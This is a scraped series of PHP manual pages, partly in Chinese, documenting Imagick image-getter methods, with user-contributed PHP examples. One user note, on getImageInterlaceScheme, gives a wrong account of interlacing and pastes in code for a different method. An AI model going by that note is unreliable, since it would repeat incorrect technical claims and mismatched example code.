There are no user contributed notes for this page.


Returns the chromaticy green primary point

  • ? Imagick::getImageGravity
  • Imagick::getImageHeight ?
  • PHP Manual
  • Imagick
  • Returns the chromaticy green primary point

Imagick::getImageGreenPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGreenPrimary — Returns the chromaticy green primary point

说明

public Imagick::getImageGreenPrimary(): array

Returns the chromaticity green primary point. Returns an array with the keys "x" and "y".

参数

此函数没有参数。

返回值

Returns an array with the keys "x" and "y" on success, throws an ImagickException on failure.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image height

  • ? Imagick::getImageGreenPrimary
  • Imagick::getImageHistogram ?
  • PHP Manual
  • Imagick
  • Returns the image height

Imagick::getImageHeight

(PECL imagick 2, PECL imagick 3)

Imagick::getImageHeight — Returns the image height

说明

public Imagick::getImageHeight(): int

Returns the image height.

参数

此函数没有参数。

返回值

Returns the image height in pixels.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

perching_eagle at yahoo dot com 04-Oct-2007 06:19
//file location c:/htdocs/rose.jpg
$image=new Imagick("c:/htdocs/rose.jpg");
$height=$image->getImageHeight();
print "the image height is ".$height;

result:
the image height is 134


Gets the image histogram

  • ? Imagick::getImageHeight
  • Imagick::getImageIndex ?
  • PHP Manual
  • Imagick
  • Gets the image histogram

Imagick::getImageHistogram

(PECL imagick 2, PECL imagick 3)

Imagick::getImageHistogram — Gets the image histogram

说明

public Imagick::getImageHistogram(): array

Returns the image histogram as an array of ImagickPixel objects.

参数

此函数没有参数。

返回值

Returns the image histogram as an array of ImagickPixel objects.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Generates Imagick::getImageHistogram()

<?php
function getColorStatistics($histogramElements, $colorChannel) {
$colorStatistics = [];

foreach ($histogramElements as $histogramElement) {
$color = $histogramElement->getColorValue($colorChannel);
$color = intval($color * 255);
$count = $histogramElement->getColorCount();

if (array_key_exists($color, $colorStatistics)) {
$colorStatistics[$color] += $count;
}
else {
$colorStatistics[$color] = $count;
}
}

ksort($colorStatistics);

return $colorStatistics;
}

function getImageHistogram($imagePath) {

$backgroundColor = 'black';

$draw = new \ImagickDraw();
$draw->setStrokeWidth(0); //make the lines be as thin as possible

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

$histogramWidth = 256;
$histogramHeight = 100; // the height for each RGB segment

$imagick = new \Imagick(realpath($imagePath));
//Resize the image to be small, otherwise PHP tends to run out of memory
//This might lead to bad results for images that are pathologically 'pixelly'
$imagick->adaptiveResizeImage(200, 200, true);
$histogramElements = $imagick->getImageHistogram();

$histogram = new \Imagick();
$histogram->newpseudoimage($histogramWidth, $histogramHeight * 3, 'xc:black');
$histogram->setImageFormat('png');

$getMax = function ($carry, $item) {
if ($item > $carry) {
return $item;
}
return $carry;
};

$colorValues = [
'red' => getColorStatistics($histogramElements, \Imagick::COLOR_RED),
'lime' => getColorStatistics($histogramElements, \Imagick::COLOR_GREEN),
'blue' => getColorStatistics($histogramElements, \Imagick::COLOR_BLUE),
];

$max = array_reduce($colorValues['red'] , $getMax, 0);
$max = array_reduce($colorValues['lime'] , $getMax, $max);
$max = array_reduce($colorValues['blue'] , $getMax, $max);

$scale = $histogramHeight / $max;

$count = 0;
foreach ($colorValues as $color => $values) {
$draw->setstrokecolor($color);

$offset = ($count + 1) * $histogramHeight;

foreach ($values as $index => $value) {
$draw->line($index, $offset, $index, $offset - ($value * $scale));
}
$count++;
}

$histogram->drawImage($draw);

header( "Content-Type: image/png" );
echo $histogram;
}

?>

User Contributed Notes

Iddles 20-Jun-2011 04:02
Scratched my head for a while trying to figure out why this only returned a list of coloured pixels, and seemingly no colour count. Well it turns out that for some reason, the ImagickPixel class has a "getColorCount" method, which seems a strange place for it but hey.

<?php
$image = new Imagick("thing.png");
$pixels=$image->getImageHistogram();
foreach($pixels as $p){
 $colors = $p->getColor();
 foreach($colors as $c){
        print( "$c\t" );
 }
 print( "\t:\t" . $p->getColorCount() . "\n" );
}
?>

This will print out something like:

252    250    252    1    :    125
194    156    182    1    :    126
109    18    79    1    :    11440
2    117    162    1    :    12761
255    255    255    1    :    40769

...where the colums are red, green, blue, alpha, followed by the number of times that colour appears in the image.


Gets the index of the current active image

  • ? Imagick::getImageHistogram
  • Imagick::getImageInterlaceScheme ?
  • PHP Manual
  • Imagick
  • Gets the index of the current active image

Imagick::getImageIndex

(PECL imagick 2, PECL imagick 3)

Imagick::getImageIndex — Gets the index of the current active image

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::getImageIndex(): int

Returns the index of the current active image within the Imagick object. This method has been deprecated. See Imagick::getIteratorIndex().

参数

此函数没有参数。

返回值

Returns an integer containing the index of the image in the stack.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image interlace scheme

  • ? Imagick::getImageIndex
  • Imagick::getImageInterpolateMethod ?
  • PHP Manual
  • Imagick
  • Gets the image interlace scheme

Imagick::getImageInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::getImageInterlaceScheme — Gets the image interlace scheme

说明

public Imagick::getImageInterlaceScheme(): int

Gets the image interlace scheme.

参数

此函数没有参数。

返回值

Returns the interlace scheme as an integer on success. 错误时抛出 ImagickException。

User Contributed Notes

holdoffhunger at gmail dot com 13-Mar-2013 01:59
Image Interlacing is simply combining two images by layering one over the other with a certain opacity (usually 50%).  The intention is to use the image in video, so that two images are displayed within one single frame, thereby doubling the frames-per-second without doubling the actual, physical amount of frames.  Wikipedia provides a fairly decent explanation of this type of video technology: http://en.wikipedia.org/wiki/Interlaced_video .

Best Description :
http://www.100fps.com/

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Rendering Intent Values
        // ---------------------------------------------

    $imagick_rendering_intent = $imagick_type->getImageRenderingIntent();

    switch($imagick_rendering_intent)
    {
        case '0':
            $image_rendering_intent_evaluated = "Undefined";
            break;

        case '1':
            $image_rendering_intent_evaluated = "Saturation";
            break;

        case '2':
            $image_rendering_intent_evaluated = "Perceptual";
            break;

        case '3':
            $image_rendering_intent_evaluated = "Absolute";
            break;

        case '4':
            $image_rendering_intent_evaluated = "Relative";
            break;
    }

        // Print Rendering Intent Values
        // ---------------------------------------------

    print("# $imagick_rendering_intent - $image_rendering_intent_evaluated");

?>


Returns the interpolation method

  • ? Imagick::getImageInterlaceScheme
  • Imagick::getImageIterations ?
  • PHP Manual
  • Imagick
  • Returns the interpolation method

Imagick::getImageInterpolateMethod

(PECL imagick 2, PECL imagick 3)

Imagick::getImageInterpolateMethod — Returns the interpolation method

说明

public Imagick::getImageInterpolateMethod(): int

Returns the interpolation method for the specified image. The method is one of the Imagick::INTERPOLATE_* constants.

参数

此函数没有参数。

返回值

Returns the interpolate method on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image iterations

  • ? Imagick::getImageInterpolateMethod
  • Imagick::getImageLength ?
  • PHP Manual
  • Imagick
  • Gets the image iterations

Imagick::getImageIterations

(PECL imagick 2, PECL imagick 3)

Imagick::getImageIterations — Gets the image iterations

说明

public Imagick::getImageIterations(): int

Gets the image iterations.

参数

此函数没有参数。

返回值

Returns the image iterations as an integer.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

admin at zasmeshi dot ru 14-Dec-2016 12:57
If you want get the number of the animation (GIF) frames you need to use Imagick::getNumberImages()
holdoffhunger at gmail dot com 26-May-2012 11:22
By using the PHP function getImageIterations, you'll receive back a value indicating the animated nature of the image.  You'll get back a '0' for a still image that is not animated (like a .BMP or a .JPEG file) and a '1' for an animated image (like an animated .GIF file).

I have been unable to get any other results from this function, after extensive use.  There is some discussion among the ImageMagick user's group saying that the Iterations should indicate the number of times an animated .Gif file repeats itself.  However, it's possible that either modern browsers default the value to infinity or that this ImageMagick functionality is only available at the Linux command-line.  See more at the discussion group here: http://studio.imagemagick.org/pipermail/magick-users/2002-October/005814.html

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Iterations
        //    (Detect Animated Image Versus Non-Animated Image)
        // ---------------------------------------------

    $image_iterations = $imagick_type->getImageIterations();

        // Print Iteration Value Interpreted
        // ---------------------------------------------

    if($image_iterations == 1)
    {
        print("$file_to_grab *IS* an animated image.");
    }
    else
    {
        print("$file_to_grab *IS NOT* an animated image.");
    }

?>


Returns the image length in bytes

  • ? Imagick::getImageIterations
  • Imagick::getImageMatte ?
  • PHP Manual
  • Imagick
  • Returns the image length in bytes

Imagick::getImageLength

(PECL imagick 2, PECL imagick 3)

Imagick::getImageLength — Returns the image length in bytes

说明

public Imagick::getImageLength(): int

Returns the image length in bytes

参数

此函数没有参数。

返回值

Returns an int containing the current image size.

示例

Example #1 Using Imagick::getImageLength():

Getting image length in bytes

<?php
$image = new Imagick('test.jpg');
echo $image->getImageLength() . ' bytes';
?>

User Contributed Notes

seb dot gibbs at ymail dot com 24-Jan-2023 12:43
Quite often a jpeg image blob filesize will grow when reading back the image blob data!

eg.

$img = new Imagick();
$img->readImage($filename);

$sizeA = $img->getImageLength();
$blobdata = $img->getImageBlob();
$sizeB = $img->getImageLength();

Quite often sizeB will be greater than sizeA depending on the jpeg image being read


Return if the image has a matte channel

  • ? Imagick::getImageLength
  • Imagick::getImageMatteColor ?
  • PHP Manual
  • Imagick
  • Return if the image has a matte channel

Imagick::getImageMatte

(PECL imagick 2, PECL imagick 3)

Imagick::getImageMatte — Return if the image has a matte channel

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::getImageMatte(): bool

Returns true if the image has a matte channel otherwise false. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image matte color

  • ? Imagick::getImageMatte
  • Imagick::getImageMimeType ?
  • PHP Manual
  • Imagick
  • Returns the image matte color

Imagick::getImageMatteColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageMatteColor — Returns the image matte color

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::getImageMatteColor(): ImagickPixel

Returns the image matte color.

参数

此函数没有参数。

返回值

Returns ImagickPixel object on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image mime-type

  • ? Imagick::getImageMatteColor
  • Imagick::getImageOrientation ?
  • PHP Manual
  • Imagick
  • Returns the image mime-type

Imagick::getImageMimeType

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageMimeType — Returns the image mime-type

说明

public Imagick::getImageMimeType(): string

Returns the image mime-type.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets the image orientation

  • ? Imagick::getImageMimeType
  • Imagick::getImagePage ?
  • PHP Manual
  • Imagick
  • Gets the image orientation

Imagick::getImageOrientation

(PECL imagick 2, PECL imagick 3)

Imagick::getImageOrientation — Gets the image orientation

说明

public Imagick::getImageOrientation(): int

Gets the image orientation. The return value is one of the orientation constants.

参数

此函数没有参数。

返回值

Returns an int on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

orrd101 at yahoo dot com 20-Feb-2013 09:23
Here's how you can use the getImageOrientation() information to auto-rotate images to their correct orientation...

<?php
// Note: $image is an Imagick object, not a filename! See example use below.
function autoRotateImage($image) {
    $orientation = $image->getImageOrientation();

    switch($orientation) {
        case imagick::ORIENTATION_BOTTOMRIGHT:
            $image->rotateimage("#000", 180); // rotate 180 degrees
        break;

        case imagick::ORIENTATION_RIGHTTOP:
            $image->rotateimage("#000", 90); // rotate 90 degrees CW
        break;

        case imagick::ORIENTATION_LEFTBOTTOM:
            $image->rotateimage("#000", -90); // rotate 90 degrees CCW
        break;
    }

    // Now that it's auto-rotated, make sure the EXIF data is correct in case the EXIF gets saved with the image!
    $image->setImageOrientation(imagick::ORIENTATION_TOPLEFT);
}
?>

Example use:

<?php
$image = new Imagick('my-image-file.jpg');
autoRotateImage($image);
// - Do other stuff to the image here -
$image->writeImage('result-image.jpg');
?>
holdoffhunger at gmail dot com 01-Jul-2012 02:54
Using the getImageOrientation function, you'll get the Orientation value for an image as defined within the EXIF file format.  That means you will get back an integer representation one of the Orientation constants for ImageMagick, which looks like " imagick::ORIENTATION_UNDEFINED", with "_VALUE" values of: undefined (0), topleft (1), topright (2), bottomright (3), bottomleft (4), lefttop (5), righttop (6), rightbottom (7), and leftbottom (8).  When printed out directly, these predefined constants produce the number in parenthesis.  The undefined being set to 0 makes sense, since -- according to Wikipedia -- EXIF allows for eight possible values for an image (and not every image has a set of EXIF properties).

The EXIF Orientation is also called "the Rotation," again, according to Wikipedia: http://en.wikipedia.org/wiki/Exchangeable_image_file_format .  What's the point of that?  According to the official ImageMagick documentation, it's to rotate a photograph so that it is properly oriented after the shot.  This really seems to be a camera thing, since the ImageMagick documentation mentions: "If you pointed your camera almost straight up or down, the EXIF orientation setting may not resolve correctly. The same goes for angled or slanted shots. The orientation (and cameras) just have no senses for these situations." ( http://www.imagemagick.org/Usage/photos/ )

If you're having trouble getting this function to show the value for Image Orientation, then use the function and parameters of getImageProperties('*', FALSE); .  This produces an array of all properties associated with an image, and one of them will have the key value of exif:Orientation.  If it doesn't, then that means you will be getting back a zero from this function, indicating an "Undefined" orientation.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Orientation Values
        // ---------------------------------------------

    $imagick_orientation = $imagick_type->getImageOrientation();

    switch($imagick_orientation)
    {
        case '0':
            $imagick_orientation_evaluated = "Undefined";
            break;

        case '1':
            $imagick_orientation_evaluated = "Top-Left";
            break;

        case '2':
            $imagick_orientation_evaluated = "Top-Right";
            break;

        case '3':
            $imagick_orientation_evaluated = "Bottom-Right";
            break;

        case '4':
            $imagick_orientation_evaluated = "Bottom-Left";
            break;

        case '5':
            $imagick_orientation_evaluated = "Left-Top";
            break;

        case '6':
            $imagick_orientation_evaluated = "Right-Top";
            break;

        case '7':
            $imagick_orientation_evaluated = "Right-Bottom";
            break;

        case '8':
            $imagick_orientation_evaluated = "Left-Bottom";
            break;
    }

        // Print Orientation Values
        // ---------------------------------------------

    print("# $imagick_orientation - $imagick_orientation_evaluated");

?>


Returns the page geometry

  • ? Imagick::getImageOrientation
  • Imagick::getImagePixelColor ?
  • PHP Manual
  • Imagick
  • Returns the page geometry

Imagick::getImagePage

(PECL imagick 2, PECL imagick 3)

Imagick::getImagePage — Returns the page geometry

说明

public Imagick::getImagePage(): array

Returns the page geometry associated with the image in an array with the keys "width", "height", "x", and "y".

参数

此函数没有参数。

返回值

Returns the page geometry associated with the image in an array with the keys "width", "height", "x", and "y".

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

holdoffhunger at gmail dot com 28-May-2012 10:53
The PHP function 'getImagePage' will return values indicating the height and width of an image, just like the getHeight and getWidth, except these values are returned as an array.  There's also two other values returned in the array with the key values of 'x' and 'y'.  After running this function on animated .Gif's, super-compressed jpeg's, bmp's, png's, and every type of awkward file format you could think of, I kept getting back the result of '0' for both the 'x' and 'y' associated values in the returned array.  It's likely that these indicate the "start-positions" of the width and height, compared to the "end-values" you receive for accessing the values associated with the keys 'width' and 'height'.

Oddly enough, the PHP function 'getPage' will return an array with the same exact keys, except the values all default to '0', making it much less useful than the function 'getImagePage'.

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Page
        // ---------------------------------------------

    $image_page = $imagick_type->getImagePage();

        // Print Iteration Value Interpreted
        // ---------------------------------------------

    print_r($image_page);

?>

Expected Result :

Array
(
    [width] => 600
    [height] => 450
    [x] => 0
    [y] => 0
)


Returns the color of the specified pixel

  • ? Imagick::getImagePage
  • Imagick::getImageProfile ?
  • PHP Manual
  • Imagick
  • Returns the color of the specified pixel

Imagick::getImagePixelColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImagePixelColor — Returns the color of the specified pixel

说明

public Imagick::getImagePixelColor(int $x, int $y): ImagickPixel

Returns the color of the specified pixel.

参数

x

The x-coordinate of the pixel

y

The y-coordinate of the pixel

返回值

Returns an ImagickPixel instance for the color at the coordinates given.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

sheldon at hyperlinked dot com 18-Jul-2012 11:57
I'm sure there are a lot of people like me who have been wondering, "How you manage to produce a human readable output of this operation?"

<?php
$image = new Imagick('testimage.jpg');

$x = 1;
$y = 1;
$pixel = $image->getImagePixelColor($x, $y);
?>

If you try to print an output of the $pixel object, you get nothing. You have to use one of the ImagickPixel operations to get back a value.

You can do either of the following:

<?php
$colors = $pixel->getColor();
print_r($colors); // produces Array([r]=>255,[g]=>255,[b]=>255,[a]=>1);

$pixel->getColorAsString(); // produces rgb(255,255,255);
?>

The place where I was getting hung up was how to get the data that was captured in the Imagick::getImagePixelColor operation into an ImagickPixel object. I was trying to find ways of passing the value to a newly instantiated ImagickPixel object. Well, it appears that once you've captured your color data using Imagick::getImagePixelColor, what's returned IS an ImagickPixel object!

As a further note, you do not need to convert this to a human readable format if you just want to take a color sample at a single point on your image to plug into another operation.

For example, if you wanted to perform a flood fill effect on a certain color you could plug in the instance of the ImagickPixel object directly.

The following fill perform a flood fill effect at coordinates 1,1 on your image using Green as the fill color and the color sampled at 1,1 as the target color to fill.

<?php
$hexcolor = '#00ff00';
$fuzz = '4000';
$x = 1;
$y = 1;
$pixel = $image->getImagePixelColor($x, $y);
$image->floodfillPaintImage($hexcolor, $fuzz, $pixel, $x, $y, false);
?>


Returns the named image profile

  • ? Imagick::getImagePixelColor
  • Imagick::getImageProfiles ?
  • PHP Manual
  • Imagick
  • Returns the named image profile

Imagick::getImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProfile — Returns the named image profile

说明

public Imagick::getImageProfile(string $name): string

Returns the named image profile.

参数

name

The name of the profile to return.

返回值

Returns a string containing the image profile.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image profiles

  • ? Imagick::getImageProfile
  • Imagick::getImageProperties ?
  • PHP Manual
  • Imagick
  • Returns the image profiles

Imagick::getImageProfiles

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProfiles — Returns the image profiles

说明

public Imagick::getImageProfiles(string $pattern = "*", bool $include_values = true): array

Returns all associated profiles that match the pattern. If false is passed as second parameter only the profile names are returned. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

pattern

The pattern for profile names.

include_values

Whether to return only profile names. If false then only profile names will be returned.

返回值

Returns an array containing the image profiles or profile names.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image properties

  • ? Imagick::getImageProfiles
  • Imagick::getImageProperty ?
  • PHP Manual
  • Imagick
  • Returns the image properties

Imagick::getImageProperties

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProperties — Returns the image properties

说明

public Imagick::getImageProperties(string $pattern = "*", bool $include_values = true): array

Returns all associated properties that match the pattern. If false is passed as second parameter only the property names are returned. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

pattern

The pattern for property names.

include_values

Whether to return only property names. If false then only property names will be returned.

返回值

Returns an array containing the image properties or property names.

示例

Example #1 Using Imagick::getImageProperties():

An example of extracting EXIF information.

<?php

/* Create the object */
$im = new imagick("/path/to/example.jpg");

/* Get the EXIF information */
$exifArray = $im->getImageProperties("exif:*");

/* Loop trough the EXIF properties */
foreach ($exifArray as $name => $property)
{
echo "{$name} => {$property}<br />\n";
}

?>

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 06:40
The output of this method on a PDF:

Array
        (
            [date:create] => 2013-01-24T13:27:37-05:00
            [date:modify] => 2013-01-24T13:27:37-05:00
            [pdf:HiResBoundingBox] => 1089x396+0+0
            [pdf:SpotColor-0] => PANTONE 697 C
            [pdf:SpotColor-1] => Black
            [pdf:SpotColor-10] => PANTONE 504 M C
            [pdf:SpotColor-2] => Strike_Thru
            [pdf:SpotColor-3] => PANTONE 7421 C
            [pdf:SpotColor-4] => PANTONE 697 C
            [pdf:SpotColor-5] => PANTONE 873 C
            [pdf:SpotColor-6] => PANTONE 504 M C
            [pdf:SpotColor-7] => Die
            [pdf:SpotColor-8] => PANTONE 697 C
            [pdf:SpotColor-9] => PANTONE 504 M C
            [pdf:Version] => PDF-1.5
            [signature] => 4d871b27b26537c523326f92454ecb2e19fa9e0e86e2a075f97354ad4f3bf122
        )
holdoffhunger at gmail dot com 19-May-2012 11:29
The getImageProperties function in PHP returns an array of property keys available for an image.  To get these property values, you use getImageProperty function, giving it one of the available keys provided by the getImageProperties function result.  For some images, you may have a lot of properties and for some, you may have few.  The two that almost every image seems to have are "date:create" and "date:modify", but some images may have forty or more properties, some titled "exif:Compression", "photoshop:Credit", "jpeg:colorspace", "rdf:Alt", "stRef:documentID", and "xap:CreatorTool."  PNG files will also have properties like "png:IHDR.bit_depth" and "png:IHDR.width,height."  So far, it appears generally that GIF and BMP files, being simpler, have fewer properties, whereas JPEG and PNG files, being more complicated, have much wider array of properties.  It seems incredibly useful in document management.

And now, some sample code and results :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.png";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Properties
        // ---------------------------------------------

    $imagick_type_properties = $imagick_type->getImageProperties('*', FALSE);

        // Print Image Properties
        // ---------------------------------------------

    print("<pre>");

    print_r($imagick_type_properties);

        // Print Each Individual, Image Property
        // ---------------------------------------------

    foreach($imagick_type_properties as $value)
    {
        print("$value --- ");
        print($imagick_type->getImageProperty("$value"));
        print("<br><br>");
    }

    print("</pre>");

?>

Results of this done on a standard PNG image :

Array
(
    [0] => date:create
    [1] => date:modify
    [2] => png:cHRM
    [3] => png:gAMA
    [4] => png:IHDR.bit_depth
    [5] => png:IHDR.color_type
    [6] => png:IHDR.interlace_method
    [7] => png:IHDR.width,height
    [8] => png:sRGB
)
date:create --- 2012-05-19T18:26:45-05:00

date:modify --- 2012-05-19T18:26:45-05:00

png:cHRM                  --- chunk was found (see Chromaticity, above)

png:gAMA                  --- gamma=0.45455 (See Gamma, above)

png:IHDR.bit_depth        --- 8

png:IHDR.color_type       --- 2

png:IHDR.interlace_method --- 0

png:IHDR.width,height     --- 320, 320

png:sRGB                  --- intent=0 (See Rendering intent)
www dot query at gmail dot com 08-Sep-2011 11:58
To access a photograph's EXIF data an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php
mhufford 03-Aug-2009 02:03
ImageMagick only supports setting a very small number of EXIF properties.

See http://www.imagemagick.org/discourse-server/viewtopic.php?t=14234


Returns the named image property

  • ? Imagick::getImageProperties
  • Imagick::getImageRedPrimary ?
  • PHP Manual
  • Imagick
  • Returns the named image property

Imagick::getImageProperty

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProperty — Returns the named image property

说明

public Imagick::getImageProperty(string $name): string

Returns the named image property. 此方法在Imagick基于ImageMagick 6.3.2以上版本编译时可用。

参数

name

name of the property (for example Exif:DateTime)

返回值

Returns a string containing the image property, false if a property with the given name does not exist.

示例

Example #1 Using Imagick::getImageProperty():

Setting and getting image property

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

参见

  • Imagick::setImageProperty() - Sets an image property

User Contributed Notes

Paul Janik 08-Sep-2011 12:00
To access a photograph's EXIF data, an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php


Returns the chromaticity red primary point

  • ? Imagick::getImageProperty
  • Imagick::getImageRegion ?
  • PHP Manual
  • Imagick
  • Returns the chromaticity red primary point

Imagick::getImageRedPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRedPrimary — Returns the chromaticity red primary point

说明

public Imagick::getImageRedPrimary(): array

Returns the chromaticity red primary point as an array with the keys "x" and "y".

参数

此函数没有参数。

返回值

Returns the chromaticity red primary point as an array with the keys "x" and "y". 错误时抛出 ImagickException。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Extracts a region of the image

  • ? Imagick::getImageRedPrimary
  • Imagick::getImageRenderingIntent ?
  • PHP Manual
  • Imagick
  • Extracts a region of the image

Imagick::getImageRegion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRegion — Extracts a region of the image

说明

public Imagick::getImageRegion(
int $width,
int $height,
int $x,
int $y
): Imagick

Extracts a region of the image and returns it as a new Imagick object.

参数

width

The width of the extracted region.

height

The height of the extracted region.

x

X-coordinate of the top-left corner of the extracted region.

y

Y-coordinate of the top-left corner of the extracted region.

返回值

Extracts a region of the image and returns it as a new wand.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

zolcos at hotmail dot com 22-Jul-2009 02:45
getImageRegion has the same side effect that was mentioned for operations that change the crop of the image -- the new image preserves the old canvas and positioning info. For example, using annotateImage on the new image will interpret the positioning arguments relative to the old image. To correct it, reset this info with setImagePage.

<?php
$im->setImagePage(0, 0, 0, 0);
?>


Gets the image rendering intent

  • ? Imagick::getImageRegion
  • Imagick::getImageResolution ?
  • PHP Manual
  • Imagick
  • Gets the image rendering intent

Imagick::getImageRenderingIntent

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRenderingIntent — Gets the image rendering intent

说明

public Imagick::getImageRenderingIntent(): int

Gets the image rendering intent.

参数

此函数没有参数。

返回值

Returns the image rendering intent.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

holdoffhunger at gmail dot com 02-Jul-2012 06:19
The Rendering Intent variable exists in ImageMagick to provide support for ICC Color Profiles.  There are five results that one can expect to get from the getRenderingIntent function, which are the predefined constants for Rendering Intent within ImageMagick.  These values look like "imagick::RENDERINGINTENT_UNDEFINED", with "_VALUE" values of: undefined, saturation, perceptual, absolute, and relative.  Printed out, Undefined is 0, Saturation is 1, Perceptual is 2, Absolute is 3, and Relative is 4.

The official ImageMagick documentation provides good light on what these values indicate. ( http://www.imagemagick.org/RMagick/doc/constants.html#RenderingIntent )  Undefined means "no intent," Saturation means "A rendering intent that specifies the saturation of the pixels in the image is preserved perhaps at the expense of accuracy in hue and lightness," Perceptual Intent means "A rendering intent that specifies the full gamut of the image is compressed or expanded to fill the gamut of the destination device. Gray balance is preserved but colorimetric accuracy might not be preserved," Absolute Intent means "Absolute colorimetric," and Relative Intent means "Relative colorimetric."

Every time I ran this function, it always produced the same result: #2, indicating Perceptual Intent.  But this makes sense, since the ImageMagick documentation notes about the Rendering Intent, "Typically, the user or application will set the rendering intent dynamically at runtime or embedding time."  The ImageMagick documentation also recommended the following link to better understand Rendering Intent in terms of Colorspace Profiles: http://www.cambridgeincolour.com/tutorials/color-space-conversion.htm .

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Rendering Intent Values
        // ---------------------------------------------

    $imagick_rendering_intent = $imagick_type->getImageRenderingIntent();

    switch($imagick_rendering_intent)
    {
        case '0':
            $image_rendering_intent_evaluated = "Undefined";
            break;

        case '1':
            $image_rendering_intent_evaluated = "Saturation";
            break;

        case '2':
            $image_rendering_intent_evaluated = "Perceptual";
            break;

        case '3':
            $image_rendering_intent_evaluated = "Absolute";
            break;

        case '4':
            $image_rendering_intent_evaluated = "Relative";
            break;
    }

        // Print Rendering Intent Values
        // ---------------------------------------------

    print("# $imagick_rendering_intent - $image_rendering_intent_evaluated");

?>


获取图像的x,y轴分辨率

  • ? Imagick::getImageRenderingIntent
  • Imagick::getImagesBlob ?
  • PHP Manual
  • Imagick
  • 获取图像的x,y轴分辨率

Imagick::getImageResolution

(PECL imagick 2, PECL imagick 3)

